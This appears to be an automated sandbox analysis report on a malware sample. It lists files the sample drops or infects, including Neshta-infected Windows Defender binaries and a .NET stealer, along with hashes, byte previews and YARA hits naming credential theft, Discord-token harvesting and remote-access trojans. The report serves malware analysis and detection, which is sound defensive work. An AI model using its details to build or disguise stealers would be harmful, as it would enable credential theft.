File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501656
Entropy (8bit):	6.318829677338838
Encrypted:	false
SSDEEP:	12288:yLH18t6x1hjaNHBlfBVDZS82JninSFVlDW:yLOwxyNHBVEHRiSFVlDW
MD5:	9FB296CF47C4D3E0FEF4974685EBE922
SHA1:	201293BEEB98FB83D118323C4803590E8C88E060
SHA-256:	5E21FE2FE640F209EB75B696C3334E577D2035436206C88C1F2E676CF560B75F
SHA-512:	CA9999251A1905BCA32D46857BD1213D37F2D33689E4D818FC006B88B84AA49AD9DB07B0C4D33361EFC0BFC697F705AEAF90D762C6CFAB3C9A9644BA73D750E3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1637776
Entropy (8bit):	6.316717941409346
Encrypted:	false
SSDEEP:	24576:P7Z1jyzcKSmKsvwMZJ1XBsn/gu2bRC6dulyyn2WdXM6cWlLIJ:zZ1tKTwMZJ1XBsn/UC6dugWA
MD5:	987399D498F6C2C7196A60504DCBA1F6
SHA1:	7A48D6492B9BB936EABAA4C979BD25F87AB3F9B7
SHA-256:	9F924F7B9B84FBB73E29C707D1C1D61AC00A3AB295BF1BA9754E2189D6E4BC24
SHA-512:	DE1F5790664A48EE5001541BAE7727431467A65B54EFB43412B1EB474DF6477110E98B8DA1168478B0CED1FA8DDBF69FE7BA209F69FDF9BB58F964A514B12E36
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	224632
Entropy (8bit):	5.625757771676373
Encrypted:	false
SSDEEP:	3072:sr85CBFtCsHjgU7HOg6KTe/+EypudsD22QnSUEhydebz41:k9Ttx0SA+EySaQKeUz41
MD5:	0FD839CB7D94AF1C672BA149E6C580A8
SHA1:	12CB0350EC3AEFBC189A117621DBFDCE5DBB6E86
SHA-256:	E033F780C0F8E58FD81724A1B5B02CCFFF788553B2F5308E4EB46DB37E30F9F4
SHA-512:	F54057339522E8B1C30550BCCB56B420894FEF6B51F53709A88105362AD09F5A83FC1478BF8D7CD7A0B48D56BE5DCEB8597B71B989743133B2954DEA0E364A41
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	431336
Entropy (8bit):	5.904107554819713
Encrypted:	false
SSDEEP:	6144:k9GzBRUKCBTwZVr2miTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVV+:/zBRnCBOrsBOBf
MD5:	641CC24F3AFB9E381161F17600323269
SHA1:	0A390D9A57B534A9A1C0CC441D9CBD9998608140
SHA-256:	8B5A689B0DB4EFE44C0601A89E97BA126F1E4EA943621B8EE444ED85EEA50CAA
SHA-512:	67BDB822FE0F484E60B7FA0944A4123D68C1F8B94E70D51F5F336C312F409CF7098EEB828D1A7A13138C7833A3689A7D226D909B1AAA3800EF491D88C39CBB03
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175160
Entropy (8bit):	5.997921392487593
Encrypted:	false
SSDEEP:	3072:sr85CE/VpSIcnsHKTe8LnZCA5OfkQAm95kQOJeqx6u:k9EtkIpdA5OfzDUeqx6u
MD5:	707EB4DC866F98B2701F57899DC19D51
SHA1:	59F9AA5CCB0EE3276F74C23ADD327342EF5B10AE
SHA-256:	F7DE47E26A16EB2459CD7FDC979BD30D0B50089D39433399EDA465023A0BD0BD
SHA-512:	C95D902254391B0D3ABD3A07930701E173808413E1F32BA1084F04EB5678EBC87ACAC2EA4BB6B26FE0550D78525EA3F54683FB9567A995B1318B5D9340E514FD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3162480
Entropy (8bit):	6.46880916383348
Encrypted:	false
SSDEEP:	49152:znW4jqFRZega3xejvY7GQOx4K1fm15FKqO7t78Ity6fod76lmlW8U:ys3OBj4UmOH
MD5:	EAB4618E120B951B8FADB9965EF352D7
SHA1:	C706F3479276CE840541862BBBD2C1530362BA03
SHA-256:	7D252BE50728CA3389124956E16D41F0AD14BB8C6F08D768F8A6555E25EA0F47
SHA-512:	8F69D95D0D39C8566F3EB1D456AE98285D36852278F474CAC382BF37FCB70714B4747F1984874A16B4850678C93C5170CF37E3A19E2EB89FC5881F00B9E527F2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1309408
Entropy (8bit):	6.496342895106016
Encrypted:	false
SSDEEP:	24576:5+sGOL9NLM3r4Viwj6KLqGua43loEeUFmwv:54AA4eGua43lgUFrv
MD5:	B39DF380C20D63215708AA6263BE495F
SHA1:	4CE3BE7169E222E787A3E8238D53C32324981894
SHA-256:	36728B9A21D2A5927D9B4F5C02C0F5899DFB80ABD01F371342510DBBACFE2BCA
SHA-512:	42B087413B27B741EB2470A6C7F64571542B20AA43C5B29A43C290A3E83960DAEA82974F6C187DA70655B175D5FFBA3FF04608CF54F8832DB7ED2DA715DCACD6
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922944
Entropy (8bit):	6.462019359288523
Encrypted:	false
SSDEEP:	12288:V9/Bro8OEYbhEdbsrg4Sxz2/Sl92ncG15fQ224i5pQ+poPCcqyt4:L/BrnYuqFcL3pQ+pDX
MD5:	A4A4D70FB8EFBD8702F5F5CA3F2225B7
SHA1:	3AB16972E6ECEE5162F4264AAB2B78AE5A6D9AFA
SHA-256:	C8D5E992C3F31B60874957E81FC5C419F569CBC8FC3EF57F84F42F7E742C9EEF
SHA-512:	92E72BCB8526AA833D6A8E5E77994C15ADABC50F8742C5075532FE281DD4F309827584868F0F19E659E90B4EAEB520F80EAB3116A14D6546DCC85973A638CEA8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692064
Entropy (8bit):	7.195091714831986
Encrypted:	false
SSDEEP:	12288:kskY7gjcjhVIEhqgM7bWvcsi6aVUfIy+U40vy3W/ceKSHMsiFyY6XNmnMwJ:ksZgjS1hqgSC/izkfFjymk4HM5yJwMK
MD5:	2BBCB1E61E3B17B7F89D97FA21A3881D
SHA1:	C90D9A55FFB5BD4FC7318B542DDE1F72A2341334
SHA-256:	A2606AED76695606C291929D55A32A5CE51A9981A1471E24A2F33FCC5B97037F
SHA-512:	657172F611FD934DA6DC59544043EF046948DC6052CFDA142008CB342E7264FC0701D7160B3D2774DA63B4354E9B967480FF0007A30DF9D83088842222C0A8B3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\719214312945b7c2e7f1e6f19a3c9674\msgid.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Dn:Dn
MD5:	B543B38A3F32C4020D97B572456709B7
SHA1:	309CD2BABAD086F9B9DB44B37CA4B27E35E753D2
SHA-256:	FE4E5088968101464E9DDA91398C2FAEBC7056E660B2A06A69E705C426497507
SHA-512:	6E5764136577022E633D06A40C84290A7E32BD8E88247DB22E3F147FAED33E29EA24DC9EA1F03E7A966C9799893E5B8423D27BDC5E5886C6FBAB29E14D1E5861
Malicious:	false
Preview:	45786

C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	174080
Entropy (8bit):	5.925602117452437
Encrypted:	false
SSDEEP:	3072:3+STW8djpN6izj8mZw0YaeiJFqIPu/i9bVJ2cxO06+Wpz:c8XN6W8mm0YmfXPSi9bDD
MD5:	E29AB30E42348ECF2831928B7B95D5D8
SHA1:	70AE302AE078326EFBE444FD8158D2B104A06A69
SHA-256:	58B1013F511E61F2DDFB547939895EC161AB8BC03F5413529F85F1A3272D38D4
SHA-512:	34A3209DC0856EA0E4D0573ECA4DD53B238EBB317F10CB84683D99C64C1264693390D42193FCBAC190CE9D9E0A33C9F32DE8C4A57E4D38EC267AD16AD5D3138D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_WorldWindStealer, Description: Yara detected WorldWind Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g............"...0.............n.... ........@.. ....................................`.....................................W.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........6.................................................................<...4..#.V.w.d!...HAZ.......I.1.......Y.T8D.c[..2.....I...g...:.m..e.........j{Um7..9.M.&,..C....:.]).#..l.AG8.B..3O)..n............5.).c.....ati..2..g)...%....P...7^.<$."......V..;...$0.xC.=VD..b......9A..Pu.\|.`.X....E...g.1..F.OU...9=.^tL..l.U..%./^}.....< b...0....8..h..z.;.G..EbT.s..;...........>T....uRa[...'.........\RU..eh.F..i...,.z8....a......f....M.\%......T"...i.G.e..

C:\Users\user\AppData\Local\Temp\chrome.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	182272
Entropy (8bit):	6.784375621590053
Encrypted:	false
SSDEEP:	3072:sr85C/sWLuzeHpl18fCtnRPF9EVnb43jaI5gr/uHqZLWfp2KkvL5kdnQB:k9/9mCtnRPF9cCGr/uH0gkSdQB
MD5:	73F73E565BCCA28C58B8CD91DC1056AD
SHA1:	AB7B58E90994D016DFD7937556FDEA6FE13ABA22
SHA-256:	A0AC3CF26C12A9727FE6986DB32F255CBBCD6E45B063022E79C74DBD3787546C
SHA-512:	460230C3F943A4626BFF45040B26D0C542140DD7EED6F58FF0D9412125359219DAE252080ACF27A2DAC15AC6C9FE4A32277D185D727841D0B719DF4D3356225E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\places.raw

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5023.tmp

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	data
Category:	modified
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:/y:a
MD5:	2922834D744C76ADADD8785888CD6128
SHA1:	F9F28B71896FFA5468D64DEF649A52A901EA44B5
SHA-256:	577850BE1E05B0D20FEF40DD464B909A6416AA67CC627C8639F65975AC47A232
SHA-512:	F7AFC43B18B0F56C81929F3A2F5D14CF50B4EC9DB18B86A74B50E6A8CFE742A2743AE61D0DA8A6D24D33CBF4C2219DC33A6E3FE7AE69F8D05929E6029A0D1EEB
Malicious:	false
Preview:	J...(.&A

C:\Users\user\AppData\Local\Temp\tmpD572.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD583.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5B3.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5B4.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5C4.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5D5.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

